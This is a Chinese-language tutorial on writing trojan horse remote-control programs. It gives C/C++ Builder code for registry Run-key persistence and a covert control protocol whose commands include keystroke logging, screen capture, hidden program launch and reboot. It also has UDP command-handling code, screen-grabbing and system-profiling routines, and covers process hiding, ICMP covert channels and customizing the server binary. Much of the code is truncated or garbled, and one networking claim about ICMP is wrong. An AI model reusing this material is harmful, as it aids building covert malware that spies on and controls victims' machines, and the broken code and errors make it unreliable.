1、木馬程序的分類
木馬程序的服務器端,為了避免被發(fā)現(xiàn),多數(shù)都要進行隱藏處理,下面讓我們來看看木馬是如何實現(xiàn)隱藏的。
說到隱藏,首先得先了解三個相關的概念:進程,線程和服務。我簡單的解釋一下。
進程:一個正常的Windows應用程序,在運行之后,都會在系統(tǒng)之中產生一個進程,同時,每個進程,分別對應了一個不同的PID(Progress ID, 進程標識符)這個進程會被系統(tǒng)分配一個虛擬的內存空間地址段,一切相關的程序操作,都會在這個虛擬的空間中進行。
線程:一個進程,可以存在一個或多個線程,線程之間同步執(zhí)行多種操作,一般地,線程之間是相互獨立的,當一個線程發(fā)生錯誤的時候,并不一定會導致整個進程的崩潰。
服務:一個進程當以服務的方式工作的時候,它將會在后臺工作,不會出現(xiàn)在任務列表中,但是,在Windows NT/2000下,你仍然可以通過服務管理器檢查任何的服務程序是否被啟動運行。
想要隱藏木馬的服務器端,可以偽隱藏,也可以是真隱藏。偽隱藏,就是指程序的進程仍然存在,只不過是讓他消失在進程列表里。真隱藏則是讓程序徹底的消失,不以一個進程或者服務的方式工作。
偽隱藏的方法,是比較容易實現(xiàn)的,只要把木馬服務器端的程序注冊為一個服務就可以了,這樣,程序就會從任務列表中消失了,因為系統(tǒng)不認為他是一個進程,當按下Ctrl+Alt+Delete的時候,也就看不到這個程序。但是,這種方法只適用于Windows9x的系統(tǒng),對于Windows NT,Windows 2000等,通過服務管理器,一樣會發(fā)現(xiàn)你在系統(tǒng)中注冊過的服務。難道偽隱藏的方法就真的不能用在Windows NT/2000下了嗎?當然還有辦法,那就是API的攔截技術,通過建立一個后臺的系統(tǒng)鉤子,攔截PSAPI的EnumProcessModules等相關的函數(shù)來實現(xiàn)對進程和服務的遍歷調用的控制,當檢測到進程ID(PID)為木馬程序的服務器端進程的時候直接跳過,這樣就實現(xiàn)了進程的隱藏,金山詞霸等軟件,就是使用了類似的方法,攔截了TextOutA,TextOutW函數(shù),來截獲屏幕輸出,實現(xiàn)即時翻譯的。同樣,這種方法也可以用在進程隱藏上。
出于安全考慮,我只給出一種通過注冊服務程序,實現(xiàn)進程偽隱藏的方法,對于更復雜,高級的隱藏方法,比如遠程線程插入其他進程的方法,請參閱ShotGun的文章《NT系統(tǒng)下木馬進程的隱藏與檢測》。
讓程序自運行的方法比較多,除了最常見的方法:加載程序到啟動組,寫程序啟動路徑到注冊表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,還有很多其他的辦法,據(jù)yagami講,還有幾十種方法之多,比如可以修改Boot.ini,或者通過注冊表里的輸入法鍵值直接掛接啟動,通過修改Explorer.exe啟動參數(shù)等等的方法,真的可以說是防不勝防,下面展示一段通過修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run鍵值來實現(xiàn)自啟動的程序:
自裝載部分:
}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
}
自裝載程序的卸載代碼:
int num;
char str2[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD vl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,
str,
NULL,
&type,
strv,
&vl);
if (strcmp(str,"BGroup")==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
break;
}
}while(Suc== ERROR_SUCCESS)
HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,
&k);
do{
Suc=RegEnumValue(hkey,(DWORD)num,str, if (strcmp(str,"BackGroup")==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
break;
}
}while(Suc== ERROR_SUCCESS)
RegCloseKey(hkey);
其中自裝載部分使用C++ Builder可以這樣寫,會比較簡化:
TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
if(!regKey.ValueExists("Interbase Server"))
{
regKey.WriteString("Interbase Server",
"D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");
}
regKey.CloseKey();
delete ®Key;
4、木馬程序的建立連接的隱藏
木馬程序的數(shù)據(jù)傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數(shù)據(jù)的方法了,通常是利用Winsock與目標機的指定端口建立起連接,使用send和recv等API進行數(shù)據(jù)的傳遞,但是由于這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡單的,比如在命令行狀態(tài)下使用netstat命令,就可以查看到當前的活動TCP,UDP連接。
C:\Documents and Settings\bigball>netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED
TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED
TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED
TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED
TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT
TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED
TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT
C:\Documents and Settings\bigball>netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP Liumy:echo Liumy:0 LISTENING
TCP Liumy:discard Liumy:0 LISTENING
TCP Liumy:daytime Liumy:0 LISTENING
TCP Liumy:qotd Liumy:0 LISTENING
TCP Liumy:chargen Liumy:0 LISTENING
TCP Liumy:epmap Liumy:0 LISTENING
TCP Liumy:microsoft-ds Liumy:0 LISTENING
TCP Liumy:1025 Liumy:0 LISTENING
TCP Liumy:1026 Liumy:0 LISTENING
TCP Liumy:1031 Liumy:0 LISTENING
TCP Liumy:1032 Liumy:0 LISTENING
TCP Liumy:1112 Liumy:0 LISTENING
TCP Liumy:1135 Liumy:0 LISTENING
TCP Liumy:1142 Liumy:0 LISTENING
TCP Liumy:1801 Liumy:0 LISTENING
TCP Liumy:3372 Liumy:0 LISTENING
TCP Liumy:3389 Liumy:0 LISTENING
TCP Liumy:netbios-ssn Liumy:0 LISTENING
TCP Liumy:1028 Liumy:0 LISTENING
TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB
TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI
TCP Liumy:1135 202.130.239.223:http ESTABLISHED
TCP Liumy:1142 202.130.239.223:http ESTABLISHED
TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT
TCP Liumy:1170 202.130.239.133:http TIME_WAIT
TCP Liumy:2103 Liumy:0 LISTENING
TCP Liumy:2105 Liumy:0 LISTENING
TCP Liumy:2107 Liumy:0 LISTENING
UDP Liumy:echo *:*
UDP Liumy:discard *:*
UDP Liumy:daytime *:*
UDP Liumy:qotd *:*
UDP Liumy:chargen *:*
UDP Liumy:epmap *:*
UDP Liumy:snmp *:*
UDP Liumy:microsoft-ds *:*
UDP Liumy:1027 *:*
UDP Liumy:1029 *:*
UDP Liumy:3527 *:*
UDP Liumy:4000 *:*
UDP Liumy:4001 *:*
UDP Liumy:1033 *:*
UDP Liumy:1148 *:*
UDP Liumy:netbios-ns *:*
UDP Liumy:netbios-dgm *:*
UDP Liumy:isakmp *:*
但是,黑客還是用種種手段躲避了這種偵察,就我所知的方法大概有兩種,一種是合并端口法,也就是說,使用特殊的手段,在一個端口上同時綁定兩個TCP或者UDP連接,這聽起來不可思議,但事實上確實如此,而且已經出現(xiàn)了使用類似方法的程序,通過把自己的木馬端口綁定于特定的服務端口之上,(比如80端口的HTTP,誰懷疑他會是木馬程序呢?)從而達到隱藏端口的目地。另外一種辦法,是使用ICMP(Internet Control Message Protocol)協(xié)議進行數(shù)據(jù)的發(fā)送,原理是修改ICMP頭的構造,加入木馬的控制字段,這樣的木馬,具備很多新的特點,不占用端口的特點,使用戶難以發(fā)覺,同時,使用ICMP可以穿透一些防火墻,從而增加了防范的難度。之所以具有這種特點,是因為ICMP不同于TCP,UDP,ICMP工作于網(wǎng)絡的應用層不使用TCP協(xié)議。關于網(wǎng)絡層次的結構,下面給出圖示:
5、發(fā)送數(shù)據(jù)的組織方法
關于數(shù)據(jù)的組織方法,可以說是數(shù)學上的問題。關鍵在于傳遞數(shù)據(jù)的可靠性,壓縮性,以及高效行。木馬程序,為了避免被發(fā)現(xiàn),必須很好的控制數(shù)據(jù)傳輸量,一個編制較好的木馬,往往有自己的一套傳輸協(xié)議,那么程序上,到底是如何組織實現(xiàn)的呢?下面,我舉例包裝一些協(xié)議:
typedef struct{ //定義消息結構
//char ip[20];
char Type; //消息種類
char Password[20]; //密碼
int CNum; //消息操作號
//int Length; //消息長度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//對話框數(shù)據(jù)包定義:Dlg_Msg_Type.h
//-------------------------------------------
//定義如下消息類型:
#define MsgDlgCommon 4//連接事件
#define MsgDlgSend 5//發(fā)送完成事件
//消息結構
typedef struct{
char Name[20];//對話框標題
char Msg[256];//對話框消息內容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息單元長度
//------------------------------------------ //------------------------------------------ //------------------------------------------ // TCP的Msg
//聊天數(shù)據(jù)包定義:Chat_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgChatCommon 0//連接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//結束事件
#define MsgChatReceived 16//確認對話內容收到
//消息結構
typedef struct{
char ClientName[20];//Client自定義的名稱
char Msg[256];//發(fā)送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息單元長度
//重啟數(shù)據(jù)包定義:Reboot_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgReBoot 15//重啟事件
//目錄結構請求數(shù)據(jù)包定義:Dir_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目錄名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)
typedef struct{ //定義消息結構
char SType; //消息種類
char SPassword[20]; //密碼
//int SNum; //消息操作號
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey 23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp請求消息
#define MSGCopyWindow 26
//-------------------------
//鼠標指針隱藏和顯示控制
//-------------------------
#define MsgSetMouseStat 27//設置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
//-------------------------
//得到機器名
//-------------------------
#define MsgGetNetBiosName 31//取請求
#define MsgNetBiosName 32//回送機器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
//-------------------------
//關閉進程變更!
//-------------------------
#define MsgSetProgramClose 33//關閉請求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要關閉的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
//-------------------------
//打開進程變更!
//-------------------------
#define MsgSetProgramOpen 20//打開請求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096]; //old struct : char ProgramName[128];//要打開的程序的名字
bool ProgramShow;//前臺運行或后臺運行程序(隱藏運行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
#define MsgGetHardWare 35//請求硬件信息(UDP消息)和回傳硬件信息(TCP消息)
上面一段定義,使用了TCP和UDP兩種協(xié)議目的就是為了減少TCP連接的幾率,這樣所消耗的系統(tǒng)資源就會比較少,不容易讓目標機察覺。很多木馬程序中,都有像上面定義中類似的密碼定義,目地是為了防止非真實客戶機的連接請求。SNum 為消息操作號,它的作用是為了效驗數(shù)據(jù)是否是發(fā)送過的,經過分析而知,我們熟悉的OICQ也正是使用了這一辦法來校驗消息的。
數(shù)據(jù)協(xié)議組織好,還有一步工作,就是數(shù)據(jù)的打包發(fā)送,一般的方法是把全部數(shù)據(jù)壓為一個VOID類型的數(shù)據(jù)流,然后發(fā)送:
Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="機器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}
當服務器端收到數(shù)據(jù)后,首先要做的工作是解包還原VOID流為結構化的協(xié)議,這里同樣給出事例代碼:
NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}
#define MAXXCount 10 //屏幕X方向最多分割塊數(shù)
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每塊的偏移檢測點最大個數(shù)
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后執(zhí)行:
//另外:接收到的數(shù)據(jù)包中分析出 Dnum ,Qlity
//Dnum:偏移觀測點數(shù)量
//Qlity:圖象要求質量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只執(zhí)行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函數(shù)功能:掃描改變的屏幕區(qū)域,并切經過優(yōu)化處理,最后發(fā)送這些區(qū)域數(shù)據(jù)
//DNum: 偏移量 Qlity:圖象質量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}
這個程序把屏幕畫面切分為了多個部分,并存儲畫面為JPG格式,這樣壓縮率就變的十分的高了。通過這種方法壓縮處理過的數(shù)據(jù),變得十分小,甚至在屏幕沒有改變的情況下,傳送的數(shù)據(jù)量為0,在這里不做過多分析了,有興趣的朋友,可以多看看。
6、目標機器情況的獲取
相對于以上幾部分來說,這里實現(xiàn)的方法簡單多了,這一段內容會比較輕松,一般獲取機器情況的方法是調用相關的API,這一點上是和應用程序很相像的。
AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
//TODO: Add your source code here
//獲得CPU型號
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU類型是:"+String(systeminfo.dwProcessorType)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理內存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用內存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盤、1—不存在、2—可移動磁盤、3—固定磁盤、4—網(wǎng)絡磁盤、
//5—CD-ROM、6—內存虛擬盤
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++) {//循環(huán)檢測A~Z
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //獲得磁盤類型
if(type==0){
cs="未知類型磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==2){
cs="可移動類型磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==3){
cs="固定磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==4) {
cs="網(wǎng)絡映射磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==5) {
cs="光驅:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==6) {
cs="內存虛擬磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
上面一段程序,基本上把相關的系統(tǒng)信息都取到了。
7、服務器端程序的包裝與加密
用過冰河的人都知道,冰河允許用戶自定義端口號。這樣做的目的,是為了防止被反黑程序檢測出來,這種功能是如何實現(xiàn)的呢?
首先讓我們來做一個實驗:
進入Windows的命令行模式下做如下操作
1)C:\>copy Server.Exe Server.Bak
2)建立一個文本文件Test.Txt,其內容為“http://www.patching.net”
3)C:\>type Text.Txt>>Server.Exe
4)運行Server.Exe
怎么樣?是不是發(fā)現(xiàn)Server.Exe仍然可以運行呢?木馬服務器端自定制的奧秘就在這里:首先生成了一個EXE文件,這個EXE文件里有一項讀取自身進程內容的操作,讀取時,文件的指針直接指向進程的末尾,從末尾的倒數(shù)N個字節(jié)處取得用戶定制的信息,比如端口號等,然后傳遞給程序的相關部分進行處理。這里不給出相關的代碼部分,有興趣的朋友請參考一些文件打包程序代碼,它所使用的技術是大同小異的。
8、總結
以上講的幾點技術,基本上包括了所有第二代木馬的特點,個別的木馬程序支持服務器列表,宏傳播等,實現(xiàn)上大同小異。隨著技術的不斷更新和發(fā)展,相信離第五代木馬出現(xiàn)的日子已經不遠了,黑與反黑,如此往復的的進行下去,看來反黑工作要走的路還很長,從根本上防止木馬,也只有從我們自身對木馬的認識開始,希望這篇文章在您閱讀之后能帶給您一些反黑技術上的幫助。
聯(lián)系客服